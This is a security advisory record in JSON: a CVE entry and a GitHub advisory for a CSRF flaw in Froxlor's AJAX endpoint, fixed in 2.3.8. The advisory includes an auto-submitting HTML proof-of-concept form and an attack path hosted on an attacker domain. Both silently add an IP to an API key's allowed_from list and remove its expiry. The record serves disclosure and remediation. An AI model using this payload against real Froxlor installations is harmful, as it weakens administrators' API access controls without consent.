{
  "affected": [
    {
      "affectedData": [
        {
          "product": "froxlor",
          "vendor": "froxlor",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.3.8"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Froxlor is open source server administration software. Prior to 2.3.8, the standalone lib/ajax.php entry point bypasses the centralized request validation in lib/init.php, and Ajax::handle in lib/Froxlor/Ajax/Ajax.php checks only for a valid session before routing state-changing requests. The editapikey action in Ajax::editApiKey updates allowed_from and valid_until without validating a CSRF token, while templates/Froxlor/assets/js/jquery/apikeys.js sends no token because the endpoint does not require one. An unauthenticated attacker can induce an authenticated administrator\u0027s browser to submit a forged request that adds an attacker-controlled address to an API key\u0027s allowed_from list or removes its expiration, weakening the key\u0027s security restrictions. This issue is fixed in version 2.3.8."
    }
  ],
  "id": "CVE-2026-55593",
  "lastModified": "2026-09-08T21:02:26.047",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55593",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-19T18:03:52.014671Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-18T21:16:36.603",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/froxlor/froxlor/commit/5f540fe361e7e13e8c5a32805b793a25e9e26a0e"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-xpr4-8vp6-c87j"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-352"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.7"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:48:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Froxlor AJAX endpoint (`lib/ajax.php`) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (`lib/init.php`) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone `lib/ajax.php` endpoint bypasses this mechanism entirely, validating only the user\u0027s session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker\u0027s IP to the `allowed_from` whitelist or extending the `valid_until` expiration).\n\n---\n\n## Affected Component\n\n- **File:** `lib/ajax.php` \u2014 the AJAX endpoint entry point (bypasses `lib/init.php`)\n- **File:** `lib/Froxlor/Ajax/Ajax.php:66-92` \u2014 `Ajax::handle()` (no CSRF check before routing)\n- **File:** `lib/Froxlor/Ajax/Ajax.php:257-315` \u2014 `Ajax::editApiKey()` (writes to database without CSRF check)\n- **Version:** Froxlor 2.3.7 (likely all prior 2.x versions)\n\n---\n\n## Complete Call Chain: Entry Point \u2192 Vulnerable Code\n\n### Step 1: Entry Point \u2014 `lib/ajax.php` (standalone bootstrap, bypasses `lib/init.php`)\n\n```php\n// lib/ajax.php:26-47\nnamespace Froxlor;\n\nuse Froxlor\\Ajax\\Ajax;\n\nrequire_once dirname(__DIR__) . \u0027/vendor/autoload.php\u0027;\nrequire_once dirname(__DIR__) . \u0027/lib/userdata.inc.php\u0027;\nrequire_once dirname(__DIR__) . \u0027/lib/functions.php\u0027;\nrequire_once dirname(__DIR__) . \u0027/lib/tables.inc.php\u0027;\n\n// CRITICAL: This file does NOT include lib/init.php\n// Therefore: NO CSRF token is checked before processing the request\necho (new Ajax)-\u003ehandle();\n```\n\n**Contrast with normal flow:** All admin/customer pages (e.g., `admin_customers.php`, `customer_domains.php`) do:\n```php\nconst AREA = \u0027admin\u0027;\nrequire __DIR__ . \u0027/lib/init.php\u0027;  // \u003c-- This enforces CSRF at lines 363-369\n```\n\n### Step 2: Ajax Constructor \u2014 Session Created, No CSRF Check\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:54-61\npublic function __construct()\n{\n    $this-\u003eaction = Request::any(\u0027action\u0027);  // \u003c-- User-controlled from GET/POST\n    $this-\u003etheme = Request::any(\u0027theme\u0027, \u0027Froxlor\u0027);\n\n    UI::sendHeaders();        // Starts session, sets security headers\n    UI::sendSslHeaders();     // HSTS headers\n    // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE\n}\n```\n\n### Step 3: Ajax::handle() \u2014 Session Validation Only, Routes to Action\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:66-92\npublic function handle()\n{\n    $this-\u003euserinfo = $this-\u003egetValidatedSession();  // Only checks: isset($_SESSION[\u0027userinfo\u0027])\n    // MISSING: CSRF token validation before routing\n    // Comparison: init.php lines 363-369 WOULD check here:\n    //   if (in_array($_SERVER[\u0027REQUEST_METHOD\u0027], [\u0027POST\u0027, \u0027PUT\u0027, \u0027PATCH\u0027, \u0027DELETE\u0027])) {\n    //       $current_token = Request::post(\u0027csrf_token\u0027, ...);\n    //       if ($current_token != CurrentUser::getField(\u0027csrf_token\u0027)) { ERROR; }\n    //   }\n\n    switch ($this-\u003eaction) {\n        case \u0027editapikey\u0027:\n            return $this-\u003eeditApiKey();   // \u003c-- State-changing operation, no CSRF guard\n        case \u0027updatetablelisting\u0027:\n            return $this-\u003eupdateTablelisting();  // \u003c-- Also POST, also no CSRF\n        // ... other cases\n    }\n}\n```\n\n### Step 4: getValidatedSession() \u2014 Only Checks Session Exists\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:97-103\nprivate function getValidatedSession(): array\n{\n    if (CurrentUser::hasSession() == false) {\n        throw new Exception(\"No valid session\");\n    }\n    return CurrentUser::getData();\n    // hasSession() implementation (CurrentUser.php:47-50):\n    //   return !empty($_SESSION) \u0026\u0026 !empty($_SESSION[\u0027userinfo\u0027]);\n    // This ONLY verifies a session exists.\n    // It does NOT verify the request origin or CSRF token.\n}\n```\n\n### Step 5: editApiKey() \u2014 Database Mutation Without Origin Validation\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:257-315\nprivate function editApiKey()\n{\n    // All three parameters come from attacker-controlled POST body:\n    $keyid = Request::post(\u0027id\u0027, 0);                    // Source: $_POST[\u0027id\u0027]\n    $allowed_from = Request::post(\u0027allowed_from\u0027, \"\");  // Source: $_POST[\u0027allowed_from\u0027]\n    $valid_until = Request::post(\u0027valid_until\u0027, \"\");    // Source: $_POST[\u0027valid_until\u0027]\n\n    // ... IP format validation (not security-relevant for CSRF) ...\n\n    // SINK: Direct database mutation\n    $upd_stmt = Database::prepare(\"\n        UPDATE `api_keys` SET\n        `valid_until` = :vu, `allowed_from` = :af\n        WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid\n    \");\n    Database::pexecute($upd_stmt, [\n        \u0027keyid\u0027 =\u003e $keyid,\n        \u0027af\u0027 =\u003e $allowed_from,     // Attacker\u0027s IP written here\n        \u0027vu\u0027 =\u003e $valid_until_db,   // -1 = never expires\n        \u0027aid\u0027 =\u003e $this-\u003euserinfo[\u0027adminid\u0027],\n        \u0027cid\u0027 =\u003e $cid\n    ]);\n    return $this-\u003ejsonResponse([\u0027allowed_from\u0027 =\u003e $allowed_from, \u0027valid_until\u0027 =\u003e $valid_until]);\n}\n```\n\n### Step 6: Evidence from Legitimate Frontend \u2014 No CSRF Token Sent Even in Normal Usage\n\n```javascript\n// templates/Froxlor/assets/js/jquery/apikeys.js:9-17\n// Even the legitimate frontend does NOT send a csrf_token:\n$.ajax({\n    url: \"lib/ajax.php?action=editapikey\",\n    type: \"POST\",\n    dataType: \"json\",\n    data: {\n        id: akid,\n        allowed_from: _this.val(),\n        valid_until: $(\u0027div[data-entry=\"\u0027 + akid + \u0027\"] #valid_until\u0027).val()\n        // NOTE: No csrf_token field here \u2014 the backend doesn\u0027t require it\n    },\n    // ...\n});\n```\n\nThis confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.\n\n---\n\n## CSRF Protection Gap: Side-by-Side Comparison\n\n| Aspect | `lib/init.php` (Normal Pages) | `lib/ajax.php` (AJAX Endpoint) |\n|--------|------------------------------|-------------------------------|\n| **Includes init.php** | Yes (all admin_*.php, customer_*.php) | **No** \u2014 standalone bootstrap |\n| **Session validation** | \u2705 `CurrentUser::hasSession()` | \u2705 `CurrentUser::hasSession()` |\n| **CSRF token generation** | \u2705 `Froxlor::genSessionId(20)` | \u274c Not generated |\n| **CSRF token check (POST/PUT/PATCH/DELETE)** | \u2705 Lines 363-369 | **\u274c Missing entirely** |\n| **Rate limiting** | \u2705 `RateLimiter::run()` | \u274c Not called |\n| **Area enforcement** | \u2705 Admin/Customer area check | \u274c Not enforced |\n\n---\n\n## Vulnerability Verification\n\n### Attack Path (Complete)\n\n```\n[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html\n\n    \u003cform id=\"csrf\" action=\"https://froxlor.example.com/lib/ajax.php?action=editapikey\"\n          method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"id\" value=\"1\"\u003e\n      \u003cinput type=\"hidden\" name=\"allowed_from\" value=\"ATTACKER_IP\"\u003e\n      \u003cinput type=\"hidden\" name=\"valid_until\" value=\"-1\"\u003e\n    \u003c/form\u003e\n    \u003cscript\u003edocument.getElementById(\u0027csrf\u0027).submit();\u003c/script\u003e\n\n        \u2502\n        \u25bc\n[Victim] Froxlor administrator browses to https://attacker.com/csrf.html\n  - Victim has an active session at https://froxlor.example.com\n  - Session cookie: PHPSESSID=\u003cvalid\u003e, SameSite=Lax\n        \u2502\n        \u25bc\n[Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey\n  - Cookie behavior depends on SameSite policy (see below)\n        \u2502\n        \u25bc\n[Server: lib/ajax.php]\n  \u2192 require userdata.inc.php, functions.php, tables.inc.php\n  \u2192 (new Ajax)-\u003ehandle()\n        \u2502\n        \u25bc\n[Server: Ajax::__construct()]  (Ajax.php:54-61)\n  \u2192 $this-\u003eaction = \u0027editapikey\u0027  (from GET query string)\n  \u2192 UI::sendHeaders() \u2192 session_start()\n  \u2192 NO CSRF CHECK\n        \u2502\n        \u25bc\n[Server: Ajax::handle()]  (Ajax.php:66-68)\n  \u2192 getValidatedSession() \u2192 CurrentUser::hasSession() \u2192 TRUE\n    (session cookie was sent with request)\n  \u2192 NO CSRF CHECK before routing\n        \u2502\n        \u25bc\n[Server: Ajax::editApiKey()]  (Ajax.php:257-315)\n  \u2192 $keyid = 1 (from POST)\n  \u2192 $allowed_from = \u0027ATTACKER_IP\u0027 (from POST)\n  \u2192 $valid_until_db = -1 (from POST, parsed)\n  \u2192 UPDATE api_keys SET allowed_from=\u0027ATTACKER_IP\u0027, valid_until=-1 WHERE id=1\n        \u2502\n        \u25bc\n[Impact] API key #1 now allows connections from ATTACKER_IP, never expires\n```\n\n### SameSite=Lax Analysis\n\nFroxlor sets session cookie with `SameSite=Lax` (UI.php:124):\n\n```php\n// lib/Froxlor/UI/Panel/UI.php:118-125\nsession_set_cookie_params([\n    \u0027path\u0027 =\u003e \u0027/\u0027,\n    \u0027domain\u0027 =\u003e self::getCookieHost(),\n    \u0027secure\u0027 =\u003e self::requestIsHttps(),    // FALSE on HTTP deployments\n    \u0027httponly\u0027 =\u003e true,\n    \u0027samesite\u0027 =\u003e \u0027Lax\u0027\n]);\nsession_start();\n```\n\n**Why SameSite=Lax is NOT a complete mitigation:**\n\n1. **HTTP deployments:** When `requestIsHttps()` returns false (plain HTTP), the `secure` flag is false. Many browsers (particularly older Safari and Firefox) require `Secure` for strict SameSite enforcement. Froxlor\u0027s own documentation supports HTTP deployment for internal networks, making this a realistic scenario.\n\n2. **Safari browser:** Safari\u0027s SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.\n\n3. **Same-site subdomain attacks:** If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection \u2014 cookies are sent freely.\n\n4. **Defense-in-depth failure:** CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).\n\n### Confirmed Vulnerable Actions in Ajax::handle()\n\nAll POST-based actions in the switch statement lack CSRF protection:\n\n| Action | Method | State Change | Risk |\n|--------|--------|-------------|------|\n| `editapikey` | POST | UPDATE `api_keys` SET allowed_from, valid_until | **HIGH** |\n| `updatetablelisting` | POST | UPDATE `panel_usercolumns` (user preferences) | Low |\n| `getConfigDetails` | POST | Read-only (config parsing) | None |\n\n---\n\n## Impact\n\n- **Confidentiality:** None \u2014 the attacker cannot directly read data through this CSRF vector\n- **Integrity:** Medium \u2014 API key properties (`allowed_from`, `valid_until`) can be modified to add the attacker\u0027s IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage).\n- **Availability:** Low \u2014 the attacker could set `valid_until` to a past timestamp, disabling the API key\n\n**Worst-case scenario:** An administrator-level API key has its `allowed_from` expanded to include the attacker\u0027s IP and its `valid_until` set to `-1` (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure \u2014 see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.\n\n---\n\n## Proof of Concept\n\n### PoC HTML File\n\n```html\n\u003c!-- csrf_poc.html --\u003e\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eCSRF PoC - Froxlor AJAX Endpoint\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n    \u003ch1\u003eCross-Site Request Forgery Proof of Concept\u003c/h1\u003e\n    \u003cp\u003eTarget: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)\u003c/p\u003e\n    \u003cp\u003eIf you see this page, the form has auto-submitted.\u003c/p\u003e\n\n    \u003c!-- This form auto-submits to modify API key properties --\u003e\n    \u003cform id=\"csrf-form\"\n          action=\"http://froxlor.example.com/lib/ajax.php?action=editapikey\"\n          method=\"POST\"\u003e\n        \u003cinput type=\"hidden\" name=\"id\" value=\"1\"\u003e\n        \u003cinput type=\"hidden\" name=\"allowed_from\" value=\"10.99.99.99\"\u003e\n        \u003cinput type=\"hidden\" name=\"valid_until\" value=\"\"\u003e\n        \u003c!-- empty valid_until = -1 (never expires) --\u003e\n    \u003c/form\u003e\n\n    \u003cscript\u003e\n        // Auto-submit on page load\n        document.addEventListener(\u0027DOMContentLoaded\u0027, function() {\n            document.getElementById(\u0027csrf-form\u0027).submit();\n        });\n    \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Reproduction Steps\n\n1. **Setup:**\n   - Deploy Froxlor 2.3.7 on a test server (e.g., `http://192.168.1.100/`)\n   - Create an administrator account and log in\n   - Create at least one API key (Settings \u2192 API Keys)\n\n2. **Prepare PoC:**\n   - Host the PoC HTML file on a different origin (e.g., `http://attacker.local/csrf_poc.html`)\n   - Note the Froxlor server is on `http://` (not HTTPS, common for internal deployments)\n\n3. **Execute:**\n   - Ensure the Froxlor administrator has an active session\n   - Open the PoC HTML file in the **same browser** (different tab)\n   - The form auto-submits\n\n4. **Verify:**\n   - Check the API key in the Froxlor admin panel\n   - The `allowed_from` field now contains `10.99.99.99`\n   - The `valid_until` field shows no expiration\n   - Or verify directly: `SELECT id, allowed_from, valid_until FROM api_keys WHERE id=1;`\n\n### Expected Result\n\nBefore attack:\n```\nid | allowed_from | valid_until\n1  |              | 1735689600\n```\n\nAfter attack:\n```\nid | allowed_from   | valid_until\n1  | 10.99.99.99    | -1\n```\n\n---\n\n## Root Cause\n\nThe `lib/ajax.php` endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include `lib/init.php`, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.\n\nArchitecturally, there are two security enforcement paths:\n1. **Normal pages:** `admin_*.php` \u2192 `require lib/init.php` \u2192 CSRF check \u2705\n2. **AJAX endpoint:** `lib/ajax.php` \u2192 `new Ajax()-\u003ehandle()` \u2192 CSRF check \u274c\n\nThe `Ajax` class performs its own session validation (`getValidatedSession()`) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (`apikeys.js`) also does not send a CSRF token because the backend does not require one.\n\n---\n\n## Fix Recommendation\n\n### Option A (Recommended): Route AJAX Through init.php\n\nRefactor `lib/ajax.php` to use the standard bootstrap, ensuring all security controls apply uniformly:\n\n```php\n// lib/ajax.php \u2014 Refactored\nconst AREA = \u0027ajax\u0027;\nrequire __DIR__ . \u0027/init.php\u0027;\n\nuse Froxlor\\Ajax\\Ajax;\n\ntry {\n    echo (new Ajax)-\u003ehandle();\n} catch (Exception $e) {\n    header(\"Content-Type: application/json\");\n    echo \\Froxlor\\Api\\Response::jsonErrorResponse($e-\u003egetMessage(), 500);\n}\n```\n\n**Pros:** All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication.\n**Cons:** Requires frontend changes to include CSRF token in AJAX requests.\n\n### Option B (Minimal): Add CSRF Check to Ajax Class\n\nAdd CSRF token validation directly in the `Ajax` class:\n\n```diff\n// lib/Froxlor/Ajax/Ajax.php\n\npublic function handle()\n{\n    $this-\u003euserinfo = $this-\u003egetValidatedSession();\n\n+   // CSRF Protection \u2014 mirror init.php:363-369\n+   if (in_array($_SERVER[\u0027REQUEST_METHOD\u0027], [\u0027POST\u0027, \u0027PUT\u0027, \u0027PATCH\u0027, \u0027DELETE\u0027])) {\n+       $token_from_request = Request::post(\u0027csrf_token\u0027,\n+           $_SERVER[\u0027HTTP_X_CSRF_TOKEN\u0027] ?? null);\n+       $stored_token = $this-\u003euserinfo[\u0027csrf_token\u0027] ?? \u0027\u0027;\n+       if (empty($token_from_request) || !hash_equals($stored_token, $token_from_request)) {\n+           return $this-\u003eerrorResponse(\u0027CSRF validation failed\u0027, 403);\n+       }\n+   }\n\n    switch ($this-\u003eaction) {\n        // ... existing cases unchanged\n    }\n}\n```\n\n**Frontend changes required (for both options):**\n\n```diff\n// templates/Froxlor/assets/js/jquery/apikeys.js\n$.ajax({\n    url: \"lib/ajax.php?action=editapikey\",\n    type: \"POST\",\n    dataType: \"json\",\n    data: {\n        id: akid,\n        allowed_from: _this.val(),\n        valid_until: $(\u0027div[data-entry=\"\u0027 + akid + \u0027\"] #valid_until\u0027).val(),\n+       csrf_token: $(\u0027meta[name=\"csrf-token\"]\u0027).attr(\u0027content\u0027)\n    },\n    // ...\n});\n```\n\n### CSRF Token Available in Twig Templates\n\nThe CSRF token is already available as a Twig global variable (`{{ csrf_token }}`) set in `init.php:361`. Templates can expose it via:\n\n```html\n\u003cmeta name=\"csrf-token\" content=\"{{ csrf_token }}\"\u003e\n```\n\n---",
  "id": "GHSA-xpr4-8vp6-c87j",
  "modified": "2026-08-18T20:48:30Z",
  "published": "2026-08-18T20:48:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-xpr4-8vp6-c87j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/5f540fe361e7e13e8c5a32805b793a25e9e26a0e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor has CSRF Vulnerability in AJAX Endpoint \u2014 Missing Cross-Site Request Forgery Protection"
}